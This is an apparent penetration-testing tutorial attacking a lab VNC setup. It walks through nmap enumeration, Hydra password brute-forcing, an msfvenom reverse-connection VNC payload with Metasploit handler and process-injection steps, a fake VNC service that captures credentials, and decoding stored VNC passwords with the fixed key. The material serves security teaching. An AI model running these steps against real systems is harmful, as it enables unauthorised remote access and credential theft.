In this article, we are discussing Internal Penetration Testing on the VNC server. Through that, we are trying to explain how an attacker can breach security in various scenarios with the installation and configuration, enumeration, and precautions as well.

Table of Content

• Introduction
• Pre-requisites
• Lab Setup
• Port Scanning
• Password Cracking
• Port Redirection
• Exploitation
• Post Exploitation
• Authentication Capture using Fake Service
• Cracking hashes
• Credential Dumping
• Conclusion

Introduction

VNC or Virtual Network Computing is a service that uses the Remote Frame Buffer protocol to enable graphical remote access of another system. It is an interactive session since the user can give the mouse and keyboard inputs through VNC to the original system. Defining like that seems so similar to the Remote Desktop Protocol that we discussed some while back but there is a prominent difference between the two. The VNC is platform-independent that means it can work with Linux and Windows whereas the RDP can only work between two Windows Machines.

The VNC service was developed by the Olivetti & Oracle Research Lab in the United Kingdom. Many services are derived from VNC that was made open source under the GNU General Public Licence. However, the VNC and the RFB that we discussed earlier are the Trademarks of RealVNC Ltd. In the US.

Now that we have a brief understanding of the VNC service. Let’s discuss the security aspect of it. At the time of the invention, the RFB protocol was not at all secure. The Passwords that were implemented into the service were plain text in the beginning but they not anymore. We will see in-depth in the article how the traffic of VNC authentication looks.

Pre-requisites

In real-life environments, there will be an elaborate setup where VNC will be used however to make the understanding a bit simple we will be taking a basic setup that will include 3 machines. We will be using a Windows machine as the host and all 3-machine described below will be hosted virtually.

Ubuntu Machine:            VNC Server

Kali Linux Machine:         Attacker System

Windows 10 Machine:   Client System

Lab Setup

To begin setting up the VNC server on our Ubuntu machine, we first elevate the shell to root from a basic user. Then, we install the xfce4 and its associated packages. This provides the desktop environment required for connecting via VNC.

Now, install the desktop environment:

apt install xfce4 xfce4-goodies

Display Manager Prompt

During the installation, you will encounter a prompt asking you to choose a preferred cross-desktop display manager. This occurs because Ubuntu comes withgdm3 by default, whilexfce4 includeslightdm. You can select either one. In this demonstration, we continue with the default: gdm3.

After the installation of xfce4 finishes, we proceed with installing the TightVNC Server.

TightVNC is a free, open-source service available for both Windows and Linux. Install it using:

apt install tightvncserver

`

Password and Startup Configuration

Next, run the following command to set the VNC access password:

vncpasswd

This step creates the initial configuration files required for VNC to function. You’ll be prompted to enter and confirm a password.

The password file gets stored in a hidden directory /root/.vnc. If you want to apply any further configurations, place them inside this directory.

Now, create a startup file that instructs VNC to run specific commands when it connects:

cd .vnc
nano xstartup

Add the following commands to the xstartup file to define the desktop environment:

#!/bin/bash
xrdb $HOME/.Xresources
startxfce4 &

This script ensures that the XFCE4 desktop environment launches when the VNC server starts.

Finalizing and Running the VNC Server

After creating the startup file, we assign it the proper permissions so the system can execute it when needed. With this step, we complete all necessary configurations for VNC to function properly. The next task is to launch the VNC Server on our Ubuntu machine using the vncserver command. Upon execution, the system references the startup file to run the set of commands that configure our chosen Desktop Environment.

chmod 777 xstartup
vncserver

You will see that the startup script executes the required commands to initialize your chosen desktop environment.

From your Kali Linux machine, use thevncviewer tool to connect to the VNC server running on Ubuntu. You need the server’s IP address and port. Since we didn’t modify the port, it defaults to 5901.

vncviewer 192.168.1.46:5901

You’ll be prompted for the password set earlier. Once entered, you gain remote access to your Ubuntu machine running the XFCE4 Desktop Environment.

Port Scanning

Since we are on our Kali Linux Machine, we can use it to perform a port scan on our VNC server to see how the running service will look when an attacker tries to do the same. It will also inform us about the information and knowledge that a real-life attacker can gain by performing a port scan on our server. We see that port 5901 is running the VNC server as we configured. We also see that the protocol of VNC that the server is running 3.8. This is a piece of unintended information that should not be visible in such a way. Let’s enumerate deeper.

nmap -p 5901 -sV 192.168.1.46

Nmap also performs script scans. Among these scripts, one called vnc-info helps enumerate and extract details about a VNC service. We ran the Nmap script scan and observed that the Protocol Version is 3.8. Additionally, we identified that the authentication mechanism in place is VNC Authentication, which we will explain later in this article. Based on the authentication method, we confirmed that the installation uses TightVNC. This demonstrates that attackers can gather significant information using just Nmap scans.

nmap -p 5901 --script vnc-info 192.168.1.46

Password Cracking

Since we have performed some slight enumeration on our VNC server, it is time to test the Authentication Mechanism. In previous steps, we saw that to connect to the server, we require the password. We will try to perform a Bruteforce Attack. It is not exactly a blunt Bruteforce, more like a planned dictionary with possible and weak passwords. We used Hydra to perform the attack. It requires us to provide a password dictionary, IP Address of the Server, and port on which the service is running. After working for a while, we can see that Hydra was able to crack the password for the VNC server, it is 12345678.

hydra -s 5901 -P pass.txt -t 16 192.168.1.46 vnc

Port Redirection

Since we saw how easy it was to first enumerate the service and then perform a Bruteforce attack that could result in the compromise of our machine, we can think of a method that will help us. We can change the port at which the service is running to an uncommon port where the attacker would not be able to guess. This involves making changes in the vncserver file. It is located at /usr/bin/vncserver. We can use any text editor for this task. Here we have the variable vncPort. You could either change its value altogether or comment on it and make a new entry. We commented on the old value and added the new value of 4455.

$vncPort = 4455 ;

After saving the text file and restarting the VNC Server, we can be assured that the service will now be running on port 4455. To test this hypothesis, we get back to the Kali Linux Machine, here we again performed the port scan using Nmap and we could see that indeed the service is detected on the new port and it is possible to connect to VNC at 4455.

nmap -p4455 -sV 192.168.1.46
vncviewer 192.168.1.46:4455

Exploitation

With the enumeration and Bruteforce on the VNC server done, we can move onto the Exploitation of the VNC Server. Going back to basics, we are aware of the fact that to exploit a machine, we require a payload. We will be using the msfvenom payload creator for this task. We will be using the payload that is part of the vncinject module in the Metasploit so that the session that we receive is ready for the VNC connection that we desire. Since we are targeting the Windows Machine we mentioned, we created an executable payload as shown in the image below.

msfvenom -p windows/x64/vncinject/reverse_tcp lhost=192.168.1.2 lport=5432 -f exe > vnc.exe

Next, we transfer the payload to the target machine. This is where it is up to the different attackers as to what method they want to use to get the victim to download and run the payload. While the transfer is in motion, we will be opening the Metasploit Framework and running a multi-handler that can receive the connection that will initiate the execution of the payload. As we can observe in our demonstration below is that we can receive a reverse connection and then on itself VNC viewer is launched by Metasploit.

use exploit/multi/handler
set payload windows/x64/vncinject/reverse_tcp
set lhost 192.168.1.2
set lport 4532
exploit

Upon seeing the initiation of the VNC viewer, we can also see that a TightVNC window opens with the connection to the target Windows Machine that concludes the attack. This is how we can directly get a VNC session on a target machine.

Post Exploitation

We already saw in the Exploitation section how to use a payload to get a VNC session on a machine. But what if, as an attacker, you don’t just want a VNC session but also a Meterpreter session on the target?

Or imagine a scenario where you already have a Meterpreter session and now want to get a VNC session too. In both cases, the run vnc command helps.

run vnc

From the attacker’s perspective, this is a good reminder that if you can crack a machine and want a GUI-based session then all that is required is a simple command on meterpreter and you can have the VNC session on your target as shown below.

Using Payload Injection for VNC Access

Just like we converted a Meterpreter session into a VNC session, we can use a post-exploitation module to do the same with any reverse connection achieved on the target machine.

Let’s assume you got a reverse connection using a basic payload. The session you received was Session 1. Now, use the payload_inject exploit with the local port and session ID to obtain a VNC session:

use exploit/windows/local/payload_inject
set payload windows/vncinject/reverse_tcp
set lport 6789
set session 1
exploit

Once executed, the payload starts a Notepad process with a process ID. Then, it injects the VNC payload into that process. In our demo, it used Process ID 2816.

Next, the exploit sends a stager and connects to the target machine. It then starts the Local TCP relay between the attacker’s machine and the target machine.

Afterward, we initiate the vncviewer on our Kali Linux. As shown in the demonstration, a VNC Server session appears.

Authentication Capture using Fake Service

It is clear from the Exploitation section that it is not that simple to get a VNC session on the target machine. However, it is possible to spoof the target into giving up the password for the VNC connection. Metasploit has a module that is designed to fake a VNC service that will fool the target and get the credentials. It requires the IP address to host the service at and the location of the file where the grabbed credentials will be stored.

use auxiliary/server/capture/vnc
set srvhost 192.168.1.2
set johnpwfile /root/Desktop/
exploit

Since we started with the capture vnc module, we can check if there is a service that seems to be available using the port scan at the IP Address mentioned in the options. We see that a VNC service seems to be running on port 5900.

nmap -p5900 192.168.1.2

When we try to connect to the fake VNC service as any victim would we see that after entering the correct credentials we see that it provides us with the message of Authentication Failure.

vncviewer 192.168.1.2:5900

But if we go back to the terminal where we ran the module, we can see that we can capture the Challenge and Response for the VNC service that we faked. But this is not enough since we need the exact credentials for the service to get access to the target machine through VNC.

Cracking Hashes

In the previous section, we were able to capture the Challenge and the Response for the authentication of VNC. If we want to connect to a service, we require a password that we can enter. To do this we will decipher the password from the challenge and response. We need to install the tool called vncrack_s for this task. We used the wget to get it downloaded on our Kali machine. As it was in a compressed file, we use gunzip for decompressing it. To run the tool, we need to provide the execution permissions to it.

wget http://www.phenoelit.org/vncrack/vncrack_s.gz
gunzip vncrack_s.gz
chmod +x vncrack_s

Now, we need to provide the challenge and the response towards that challenge that we captured in the last section. We also need to provide a dictionary with the list of possible passwords that can be checked against the challenge-response combination. We were able to decipher the password from the previous capture. It was 1234.

./vncrack_s  -c 00112233445566778899aabbccddeeff -r 6f22fe8d8ed0e22fcc09fcbd981b0bac -w pass.txt

Second way

From the Introduction where we discussed the security aspect of VNC sessions, we mentioned that the process of authentication doesn’t seem to be quite safe as others. We also learned that if we have the challenge and a response from the authentication it is possible to crack the password. It is possible to capture the challenge and response without using the Metasploit module from earlier. All that required is to capture the traffic between the server and client. To demonstrate we will be capturing the traffic from the authentication that happens between the Windows Machine and Ubuntu Server.

We used Wireshark for capturing the network traffic packets. When we attempt the connection as shown in the image above, we see that an Authentication Challenge is being presented to the Client which in our case is the Windows Machine.

Then based on the challenge received, the client sends out their response back to the Server to authenticate the process and allow them to log in. This can also be captured using the Wireshark as shown below.

As we pose as an attacker, we can able to capture all the traffic and pose as the Man-in-the-middle. This means that we retain the Authentication Challenge and Response and with the help of the VNCrack we can perform a Bruteforce attack and crack the password for VNC.

./vncrack_s  -c f7ed47c3ab290fa98ba7044314d0353f -r ead4964f2549ae81723873806ec9931b -w pass.txt

Credential Dumping

Using TightVNC with default settings poses a serious security threat. An attacker doesn’t even need advanced tools—just capturing network traffic can be enough. When a device accesses another machine through TightVNC, its credentials can be compromised.

To demonstrate this, we connect to the machine at 192.168.1.46:5901 as shown below.

As learned from the previous examples we know that it will ask for the credentials for the connection. A legitimate user will be able to provide these.

After our legitimate user enters the correct credentials, they can use the session and then decide to save the credentials with the connection settings.

When locating the file containing the password and connection settings, we notice that the password isn’t stored in plain text. Instead, it’s saved using a form of encoding. But how secure is this format?

Password Decoding and Security Testing

To test the safety of the saved password, we use a tool named vncpasswd. It allows us to check whether the encoded password in the TightVNC config file can be reversed. We begin by cloning the tool’s repository from GitHub. Once we enter the directory, we find the Python file we need.

We run the tool using the-d flag for decode and-H for the hex value. The tool successfully decodes the password, revealing it as 12345678.

git clone https://github.com/trinitronx/vncpasswd.py
cd vncpasswd.py
./vncpasswd.py -d -H f0e43164f6c2e373

If you’re not using Linux, a Windows-compatible executable named vncpwd.exe is available. It can be downloaded from here. It requires only the encoded value and quickly reveals the password.

vncpwd.exe f0e43164f6c2e373

Working with TightVNC has shown us that its password storage method lacks security. However, most alternatives to TightVNC also follow similar encoding practices.

For instance, UltraVNC stores passwords inside theProgramFiles orProgramFiles(x86) directory, in theultravnc.ini file under the variable name passwd.

We repeated the connection and password-saving steps with UltraVNC. It encoded the password in the same way.

Using Metasploit and VNCrack for Credential Extraction

To retrieve credentials from UltraVNC, you can follow the same tools and process. Additionally, you can use a Metasploit post-exploitation module to extract hashed passwords and even crack them.

use post/windows/gather/credentials/vnc
set session 1
exploit

We previously tested VNCrack and found it effective at deciphering encoded credentials. When using Kali Linux, we provided the encoded password, and VNCrack revealed the actual password.

If you’re on Ubuntu or another Linux system and want to extract stored credentials from the same device, you can use VNCrack again. We tested this on our Ubuntu VNC server. We successfully retrieved the clear text password from the configuration files.

./vncrack_s -C /root/.vnc/passwd

VNC stores passwords as hex strings in.vnc files using a default encryption key. We can manually decode the password using OpenSSL. First, we echo the encoded password and pipe it through thexxd command to convert it into a hex format. Then, we pass the hex into OpenSSL with the encryption key. Finally, we use hexdump to display the clear text password.

Source: https://github.com/billchaison/VNCDecrypt

echo -n f0e43164f6c2e373 | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

Conclusion

VNC Service is one of the most used services due to its cross-platform advantage. It was quite important when it was developed but the Pandemic and Work from Home culture has made it the necessity of every enterprise. This article serves as a detailed guide to how to perform a penetration test on a VNC Setup. We hope it can give penetration testers the edge that they need over threat actors targeting their VNC Environment.

Author: Pavandeep Singh is a Technical Writer, Researcher, and Penetration Tester. Can be Contacted on Twitter and LinkedIn